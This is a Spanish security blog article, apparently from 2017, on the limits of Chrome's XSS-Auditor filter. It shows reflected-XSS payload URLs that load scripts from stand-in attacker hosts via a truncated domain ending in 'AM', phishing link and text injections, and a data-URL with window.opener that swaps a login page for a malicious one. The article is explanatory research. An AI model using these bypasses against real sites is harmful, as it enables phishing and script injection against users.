lunes, agosto 28, 2017

Reflexiones sobre los límites de XSS-Auditor, el filtro Anti-XSS de Google Chrome

Durante el trabajo de creación del libro "Hacking Web Applications: Client-Side Attacks", Enrique Rando estuvo realizando muchas pruebas sobre los principales navegadores de Internet. Como os podéis imaginar, los filtros Anti-XSS, así como otras medidas de protección por defecto contra otros ataques "Client-Side" fueron su día a día. En este artículo nos trae sus reflexiones sobre los límites de XSS-Auditor, la herramienta de protección Anti-XSS de Google Chrome.

Figura 1: Reflexiones sobre los límites de XSS-Auditor, el filtro Anti-XSS de Google Chrome

Jugando con XSS-Auditor de Google Chrome

1.- Introducción

¡Ah, los filtros anti-XSS! Llevan ya su tiempo entre nosotros y sin embargo, siguen planteando problemas de difícil solución y alternativas sobre las que no nos ponemos de acuerdo. Aunque quizá el problema no radique tanto en los propios filtros sino en el inestable terreno en que éstos prestan sus servicios.

Porque: ¿dónde ponemos la línea roja que un filtro anti-XSS no debe permitir sobrepasar? ¿Es preferible ser súper exigentes y detener todos los ataques posibles a costa de sufrir muchos falsos positivos? ¿O es preferible asegurar el funcionamiento de las aplicaciones aunque esto suponga que de vez en cuando un ataque tenga éxito? ¿Está, como dice el refrán, la virtud en el término medio o acaso la falta de un criterio claro y definido no permitiría alcanzar ningún objetivo y sólo serviría para confundir? A veces me alegra pensar que será otro, y no yo, quien tenga que responder estas preguntas.

2.- Como saltarse XSS Auditor por menos de 6 euros

2.1.- La aplicación

Hace algún tiempo me encontré con una aplicación cuyo código tenía unas cuantas características curiosas. En ella me basé cuando escribí el siguiente código:

Figura 2: Se trata de una aplicación que te despierta a la hora que tú le digas.

Figura 3: El despertador

Analizando el código fuente se puede comprobar que existe una vulnerabilidad de XSS, explotable a través del parámetro GET “hora”. Pero XSS-Auditor impide el intento de inyectar código JavaScript en línea:

Figura 4: Bloqueado por XSS-Auditor

… o de insertar una etiqueta “<script>“ que cargue su código desde un servidor, “malicioso.example.net”, controlado por el atacante:

Figura 5: También bloqueado

Pero…

2.2.- Lo que XSS-Auditor deja pasar (y lo que no)

XSS-Auditor es una herramienta contra ataques de Cross-Site Scripting de tipo “reflejado”. Y “Cross-Site Scripting” viene a significar “Scripting entre sitios”. O sea, inyectar scripts de otro sitio en la página víctima. ¿Permitiría XSS-Auditor inyectar scripts si éstos son del propio sitio? Pues… parece que sí.

Figura 6: Same-Site Scripting aceptado.

Lo cual, si se combinara con una posibilidad de subir contenidos al sitio podría ser peligroso. Una condición que impone XSS-Auditor para estos casos es que la URL no lleve una Query String. Las alarmas salta en cuanto haya algo a continuación de un carácter “?”:

Figura 7: Parámetros GET No permitidos.

Lo cual me hace pensar en esas URLs “search engine friendly”. Por ejemplo: ¿Tiene tu web un mecanismo de “control de salidas” que usas cuando tus enlaces re-dirigen a otros sitios? Me refiero al típico “redirect.php” o similar. Entonces, seguro que controlas con una lista blanca los posibles destinos ¿verdad?

Pues, por si acaso, yo añadiría otra condición: asegúrate de que usas un parámetro GET para indicar, de una forma u otra, a dónde quieres enviar a tus usuarios. No sea que, al final, una URL de tu sitio pueda llevarles a donde el atacante quiera mientras XSS-Auditor hace como que no se da cuenta.

Pero hay algo más. A XSS-Auditor parece molestarle que se inyecte un script con un origen extraño incluido en la URL. No quiere permitir a un atacante elegir el dominio desde el que el contenido se descarga. Pero obsérvese el código PHP vulnerable:
Figura 8: Código vulnerable a la inyección de scripts

Justo a continuación del valor de “$hora”, sin ningún espacio de por medio, se añade el texto “AM”. Podríamos ver qué pasa si el script se carga de un dominio cuyo nombre no aparece completo en la URL. Por ejemplo, con:
http://www.example.com/1/?hora=%3CSCRIPT%20SRC=http://example.
Esto produciría que en el código creado apareciera lo siguiente:

Figura 9: Código resultante tras la inyección

… que trataría de cargar el contenido de “http://example.AM” y ejecutarlo como un script. XSS-Auditor, tras comprobar que “script.example.AM” no forma parte de la URL ni del resto de elementos de la petición, parece relajarse y no entrometerse:

Figura 10: Esto sí pasa el filtro

De modo que sólo hace falta comprar un dominio “.AM”, que corresponde al TLD de código de país correspondiente a “Armenia”.

2.2.1.- Hora de abrir la hucha

Pero los dominios “.AM” cuestan más de lo que yo estaría dispuesto a gastarme.

Figura 11: Mucho dinero para un dominio de pruebas...

De modo que mejor me busco otra cosa.

2.2.2.- Vamos a hacerlo "Low cost"

En realidad, no hace falta que el dominio a usar pertenezca al ccTLD “.am”. Basta con que termine en “am”. Y, desde hace unos años, con la puesta en servicio de los TLD genéricos, hay donde elegir. Ahora tenemos un buen número de dominios de primer nivel, más de 1.500, y siguen apareciendo otros nuevos. La lista puede consultarse en ICANN.

Figura 12: Lista de TLDs disponibles

De modo que sólo es cuestión de ver cuántos de ellos terminan en “AM”. O, traducido al lenguaje de las expresiones regulares:
AM\s*$
Usando una herramienta como “grep” o quizá un editor de texto con soporte a la búsqueda por expresión regular, se obtendrá una lista de candidatos. Alguno incluso con caracteres “internacionales”:
AM
AMFAM
AMSTERDAM
CAM
SHRIRAM
STREAM
TEAM
WEBCAM
XN--QXAM
Algunos de ellos pertenecen a una organización que lo usa para sus propios fines y no permite registros de terceros. Otros son relativamente caros. Pero a veces se tiene suerte:

Figura 13: Un dominio por menos de 6 € para la prueba

Esto es bastante más asequible. Supongamos que registro el dominio “example.team”. Entonces podría tener un servidor llamado “script.example.team” que responda a su URL principal con algo tan sencillo como:
alert("¡Te calcé un XSS!");
Y, si alguien visitara
http://www.example.com/1/?hora=%3CSCRIPT%20SRC=http://script.example.te
… vería…

Figura 14: Cuidado con los nuevos TLDs

2.3.- Phishing de ida y vuelta

2.3.1.- El objetivo

En este segundo ejemplo voy a utilizar una aplicación vulnerable que creé en su día para poder hacer los experimentos con gaseosa. Entre otras muchas cosas, la página de inicio de sesión presenta una vulnerabilidad de XSS a través del parámetro GET “url”. Por ejemplo:
http://aplicacion.example.com/login.php?url="><h1>TEXTO INYECTADO</h1><x x="
Figura 15: Inyectando un texto

En este caso, se inyectaba un texto. Y XSS-Auditor lo permite, pues cabría pensar que un texto puede hacer poco daño. Los angloparlantes tienen un refrán que dice “sticks and stones may break my bones, but words can never hurt me”. “Los palos y las piedras pueden romperme los huesos, pero las palabras nunca podrán dañarme”. Suena bien, pero… en casos como éste podría haberse probado con algo del tipo
Llama al teléfono 000000000 para asegurarte de que tu cuenta no ha sido comprometida por el reciente ataque.
No sigo más por este camino. Lo que iba a contar es otra cosa. Resulta que XSS-Auditor permite inyectar enlaces. Incluso con destinos que pudieran ser maliciosos, como en:
http://aplicacion.example.com/login.php?url="><a href="http://malicioso.example.net" target="_blank">Pulsa aqu%26iacute;&lt/a>&lt/h1>&ltx x="
2.3.2.- En vías de ser declarado obsoleto

A riesgo de dar un giro demasiado brusco, quisiera comentar aquí algo que considero una muy buena noticia. Hace unos meses, el equipo desarrollador de Google Chrome anunció que este navegador dejará de soportar las URLs de esquema “data” en las ventanas principales. Puede leerse al respecto en esta URL.

De modo que, antes de que sea demasiado tarde para contarlo, vamos a ver qué podríamos hacer con una URL de tipo data de modo que XSS-Auditor no se percate.

2.3.3.- Cuidado con lo que te inyectan

Probemos, pues, con un enlace cuyo destino sea una URL de esquema “data”. La inyección podría usar hojas de estilo en cascada para mejorar el aspecto visual…

Figura 16: Inyección con "data"

El resultado es un mensaje que quiere resultar atractivo:

Figura 17: Inyección en la página de login

Cuando el usuario haga clic en él, se abrirá una nueva ventana y se cargará en ella una URL con esquema “data”:

Figura 18: Inyección resultante

Esto crea un documento HTML con un breve texto

Figura 19: El texto resultante

… y un script que, debidamente embellecido quedaría:

Figura 20: El script resultante

El objeto “opener”, o “window.opener” hace referencia a aquella ventana responsable de que se haya abierto a la actual. En este caso, la del login de la aplicación. Y el script hace que se cargue en ella un nuevo documento, procedente de un servidor malicioso. Algo que se conoce que sucede cuando se utiliza el target="_blank". Cuando el usuario cierre la ventana del aviso, se encontrará con algo muy parecido a lo que tenía al principio:

Figura 21: ¿De vuelta a la misma página?

Y caerá en la trampa si no es capaz de darse cuenta de que hay algo raro en la URL de la barra de direcciones.

Figura 22: La URL es otra. Y no tiene buena pinta.

2.4.- Mode=block debería ser mode=block

Como pudo apreciarse en los primeros ejemplos de este artículo, las últimas versiones de Google Chrome siguen por defecto el comportamiento que establece la cabecera HTTP “X-XSS-Protection: 1; mode=block”. O sea, en caso de detectar un ataque XSS no se muestra el contenido de la página. Pero las cosas no siempre son exactamente como parecen. Supóngase que se tiene una página vulnerable a XSS con un código como el siguiente:

Figura 23: Código vulnerable a XSS con header X-XSS-Protection

Las primeras líneas se aseguran de que la protección contra XSS se configure correctamente. La vulnerabilidad está en el código PHP del final. Y a medio camino se encuentran otros scripts. Pues resulta que si se trata de explotar la vulnerabilidad, por ejemplo con
http://www.example.com/1/2.php?q=<script>alert(1)</script>
… aunque el documento no sea dibujado en pantalla, los scripts previos al punto de inyección se ejecutarán y podrán interactuar con el DOM (Modelo de Objetos del Documento):

Figura 24: Los scripts previos a la inyección XSS se ejecutan

Y sólo cuando se llegue a la inyección se producirá el efecto que se habría esperado tener desde el principio.

Figura 25: A buenas horas.

Supongo que a alguien se le ocurrirá como sacar partido de esto ¿verdad?

2.5.- Para ir terminando

No es que XSS-Auditor sea una mala herramienta. Crear un filtro anti-XSS como éste es una tarea difícil y es imposible cubrir todos los posibles ataques a la vez que se intenta mantener la compatibilidad con todas esas aplicaciones que hay ahí afuera. Es que las aplicaciones deberían estar bien escritas.

Autor: Enrique Rando, escritor en en "Hacking Web Applications: SQL Injection", "Hacking con Buscadores", "Hacking Web Technologies" & "Hacking Web Applications: Client-Side Attacks".

1 comentario:

  1. Excelente articulo , me ha gustado. No se si probaste a meter ¿un img con el header de respuesta content type a JavaScript?

    ResponderEliminar